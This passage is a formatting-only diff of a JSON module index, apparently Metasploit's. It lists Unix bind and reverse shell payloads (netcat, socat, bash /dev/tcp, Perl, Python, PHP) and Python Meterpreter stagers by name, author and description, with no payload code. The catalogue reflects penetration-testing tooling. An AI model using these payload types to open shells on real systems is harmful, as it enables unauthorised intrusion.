"check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213526,9 +189525,7 @@ "payload_cmd/unix/bind_socat_udp": { "name": "Unix Command Shell, Bind UDP (via socat)", "fullname": "payload/cmd/unix/bind_socat_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213536,9 +189533,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213552,8 +189547,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213562,9 +189556,7 @@ "payload_cmd/unix/bind_stub": { "name": "Unix Command Shell, Bind TCP (stub)", "fullname": "payload/cmd/unix/bind_stub", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213572,9 +189564,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell (stub only, no payload)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213588,8 +189578,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213598,9 +189587,7 @@ "payload_cmd/unix/bind_zsh": { "name": "Unix Command Shell, Bind TCP (via Zsh)", "fullname": "payload/cmd/unix/bind_zsh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213609,9 +189596,7 @@ "Wang Yihang " ], "description": "Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is\n often available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213625,8 +189610,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213635,9 +189619,7 @@ "payload_cmd/unix/generic": { "name": "Unix Command, Generic Command Execution", "fullname": "payload/cmd/unix/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213645,9 +189627,7 @@ "hdm " ], "description": "Executes the supplied command", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213661,8 +189641,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213671,9 +189650,7 @@ "payload_cmd/unix/interact": { "name": "Unix Command, Interact with Established Connection", "fullname": "payload/cmd/unix/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213681,9 +189658,7 @@ "hdm " ], "description": "Interacts with a shell on an established socket connection", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213697,8 +189672,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213707,9 +189681,7 @@ "payload_cmd/unix/pingback_bind": { "name": "Unix Command Shell, Pingback Bind TCP (via netcat)", "fullname": "payload/cmd/unix/pingback_bind", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213717,9 +189689,7 @@ "asoto-r7" ], "description": "Accept a connection, send a UUID, then exit", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213733,8 +189703,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213743,9 +189712,7 @@ "payload_cmd/unix/pingback_reverse": { "name": "Unix Command Shell, Pingback Reverse TCP (via netcat)", "fullname": "payload/cmd/unix/pingback_reverse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213753,9 +189720,7 @@ "asoto-r7" ], "description": "Creates a socket, send a UUID, then exit", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213769,8 +189734,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213779,9 +189743,7 @@ "payload_cmd/unix/python/exec": { "name": "Python Exec, Python Execute Command", "fullname": "payload/cmd/unix/python/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213789,9 +189751,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nExecute an arbitrary OS command. Compatible with Python 2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213805,8 +189765,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213817,9 +189776,7 @@ "payload_cmd/unix/python/meterpreter/bind_tcp": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213827,9 +189784,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213843,8 +189798,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213857,9 +189811,7 @@ "payload_cmd/unix/python/meterpreter/bind_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", "fullname": "payload/cmd/unix/python/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213868,9 +189820,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213884,8 +189834,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213898,9 +189847,7 @@ "payload_cmd/unix/python/meterpreter/reverse_http": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213908,9 +189855,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213924,8 +189869,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213938,9 +189882,7 @@ "payload_cmd/unix/python/meterpreter/reverse_https": { "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213948,9 +189890,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213964,8 +189904,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -213978,9 +189917,7 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213988,9 +189925,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214004,8 +189939,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214018,9 +189952,7 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp_ssl": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214030,9 +189962,7 @@ "RageLtMan" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214046,8 +189976,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214060,9 +189989,7 @@ "payload_cmd/unix/python/meterpreter/reverse_tcp_uuid": { "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/unix/python/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214071,9 +189998,7 @@ "OJ Reeves" ], "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214087,8 +190012,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214101,9 +190025,7 @@ "payload_cmd/unix/python/meterpreter_bind_tcp": { "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", "fullname": "payload/cmd/unix/python/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214111,9 +190033,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214127,8 +190047,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214139,9 +190058,7 @@ "payload_cmd/unix/python/meterpreter_reverse_http": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214149,9 +190066,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214165,8 +190080,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214177,9 +190091,7 @@ "payload_cmd/unix/python/meterpreter_reverse_https": { "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214187,9 +190099,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214203,8 +190113,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214215,9 +190124,7 @@ "payload_cmd/unix/python/meterpreter_reverse_tcp": { "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/cmd/unix/python/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214225,9 +190132,7 @@ "Spencer McIntyre" ], "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214241,8 +190146,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214253,9 +190157,7 @@ "payload_cmd/unix/python/pingback_bind_tcp": { "name": "Python Exec, Python Pingback, Bind TCP (via python)", "fullname": "payload/cmd/unix/python/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214264,9 +190166,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214280,8 +190180,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214292,9 +190191,7 @@ "payload_cmd/unix/python/pingback_reverse_tcp": { "name": "Python Exec, Python Pingback, Reverse TCP (via python)", "fullname": "payload/cmd/unix/python/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214303,9 +190200,7 @@ "asoto-r7" ], "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214319,8 +190214,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214331,9 +190225,7 @@ "payload_cmd/unix/python/shell_bind_tcp": { "name": "Python Exec, Command Shell, Bind TCP (via python)", "fullname": "payload/cmd/unix/python/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214342,9 +190234,7 @@ "mumbai" ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214358,8 +190248,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214370,9 +190259,7 @@ "payload_cmd/unix/python/shell_reverse_sctp": { "name": "Python Exec, Command Shell, Reverse SCTP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214381,9 +190268,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214397,8 +190282,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214409,9 +190293,7 @@ "payload_cmd/unix/python/shell_reverse_tcp": { "name": "Python Exec, Command Shell, Reverse TCP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214420,9 +190302,7 @@ "Ben Campbell " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214436,8 +190316,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214448,9 +190327,7 @@ "payload_cmd/unix/python/shell_reverse_tcp_ssl": { "name": "Python Exec, Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214459,9 +190336,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214475,8 +190350,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214487,9 +190361,7 @@ "payload_cmd/unix/python/shell_reverse_udp": { "name": "Python Exec, Command Shell, Reverse UDP (via python)", "fullname": "payload/cmd/unix/python/shell_reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214498,9 +190370,7 @@ "RageLtMan " ], "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214514,8 +190384,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -214526,9 +190395,7 @@ "payload_cmd/unix/reverse": { "name": "Unix Command Shell, Double Reverse TCP (telnet)", "fullname": "payload/cmd/unix/reverse", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214536,9 +190403,7 @@ "hdm " ], "description": "Creates an interactive shell through two inbound connections", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214552,8 +190417,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214562,9 +190426,7 @@ "payload_cmd/unix/reverse_awk": { "name": "Unix Command Shell, Reverse TCP (via AWK)", "fullname": "payload/cmd/unix/reverse_awk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214574,9 +190436,7 @@ "Gabriel Quadros " ], "description": "Creates an interactive shell via GNU AWK", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214590,8 +190450,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214600,9 +190459,7 @@ "payload_cmd/unix/reverse_bash": { "name": "Unix Command Shell, Reverse TCP (/dev/tcp)", "fullname": "payload/cmd/unix/reverse_bash", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214610,9 +190467,7 @@ "hdm " ], "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214626,8 +190481,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214636,9 +190490,7 @@ "payload_cmd/unix/reverse_bash_telnet_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (telnet)", "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214646,9 +190498,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214662,8 +190512,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214672,9 +190521,7 @@ "payload_cmd/unix/reverse_bash_udp": { "name": "Unix Command Shell, Reverse UDP (/dev/udp)", "fullname": "payload/cmd/unix/reverse_bash_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214683,9 +190530,7 @@ "bcoles " ], "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214699,8 +190544,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214709,9 +190553,7 @@ "payload_cmd/unix/reverse_jjs": { "name": "Unix Command Shell, Reverse TCP (via jjs)", "fullname": "payload/cmd/unix/reverse_jjs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214738,8 +190580,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214748,9 +190589,7 @@ "payload_cmd/unix/reverse_ksh": { "name": "Unix Command Shell, Reverse TCP (via Ksh)", "fullname": "payload/cmd/unix/reverse_ksh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214758,9 +190597,7 @@ "Wang Yihang " ], "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214774,8 +190611,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214784,9 +190620,7 @@ "payload_cmd/unix/reverse_lua": { "name": "Unix Command Shell, Reverse TCP (via Lua)", "fullname": "payload/cmd/unix/reverse_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214794,9 +190628,7 @@ "xistence " ], "description": "Creates an interactive shell via Lua", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214810,8 +190642,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214820,9 +190651,7 @@ "payload_cmd/unix/reverse_ncat_ssl": { "name": "Unix Command Shell, Reverse TCP (via ncat)", "fullname": "payload/cmd/unix/reverse_ncat_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214830,9 +190659,7 @@ "C_Sto" ], "description": "Creates an interactive shell via ncat, utilizing ssl mode", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214846,8 +190673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214856,9 +190682,7 @@ "payload_cmd/unix/reverse_netcat": { "name": "Unix Command Shell, Reverse TCP (via netcat)", "fullname": "payload/cmd/unix/reverse_netcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214868,9 +190692,7 @@ "juan vazquez " ], "description": "Creates an interactive shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214884,8 +190706,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214894,9 +190715,7 @@ "payload_cmd/unix/reverse_netcat_gaping": { "name": "Unix Command Shell, Reverse TCP (via netcat -e)", "fullname": "payload/cmd/unix/reverse_netcat_gaping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214904,9 +190723,7 @@ "hdm " ], "description": "Creates an interactive shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214920,8 +190737,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214930,9 +190746,7 @@ "payload_cmd/unix/reverse_nodejs": { "name": "Unix Command Shell, Reverse TCP (via nodejs)", "fullname": "payload/cmd/unix/reverse_nodejs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214940,9 +190754,7 @@ "joev " ], "description": "Continually listen for a connection and spawn a command shell via nodejs", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214956,8 +190768,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -214966,9 +190777,7 @@ "payload_cmd/unix/reverse_openssl": { "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)", "fullname": "payload/cmd/unix/reverse_openssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -214976,9 +190785,7 @@ "hdm " ], "description": "Creates an interactive shell through two inbound connections", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -214992,8 +190799,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215002,9 +190808,7 @@ "payload_cmd/unix/reverse_perl": { "name": "Unix Command Shell, Reverse TCP (via Perl)", "fullname": "payload/cmd/unix/reverse_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215012,9 +190816,7 @@ "cazz " ], "description": "Creates an interactive shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215028,8 +190830,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215038,9 +190839,7 @@ "payload_cmd/unix/reverse_perl_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via perl)", "fullname": "payload/cmd/unix/reverse_perl_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215048,9 +190847,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via perl, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215064,8 +190861,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215074,9 +190870,7 @@ "payload_cmd/unix/reverse_php_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via php)", "fullname": "payload/cmd/unix/reverse_php_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215084,9 +190878,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via php, uses SSL", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215100,8 +190892,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215110,9 +190901,7 @@ "payload_cmd/unix/reverse_python": { "name": "Unix Command Shell, Reverse TCP (via Python)", "fullname": "payload/cmd/unix/reverse_python", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215120,9 +190909,7 @@ "bcoles " ], "description": "Connect back and create a command shell via Python", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215136,8 +190923,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215146,9 +190932,7 @@ "payload_cmd/unix/reverse_python_ssl": { "name": "Unix Command Shell, Reverse TCP SSL (via python)", "fullname": "payload/cmd/unix/reverse_python_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215156,9 +190940,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215172,8 +190954,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -215182,9 +190963,7 @@ "payload_cmd/unix/reverse_r": { "name": "Unix Command Shell, Reverse TCP (via R)", "fullname": "payload/cmd/unix/reverse_r", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -215192,9 +190971,7 @@ "RageLtMan " ], "description": "Connect back and create a command shell via R", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -215208,8 +190985,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": 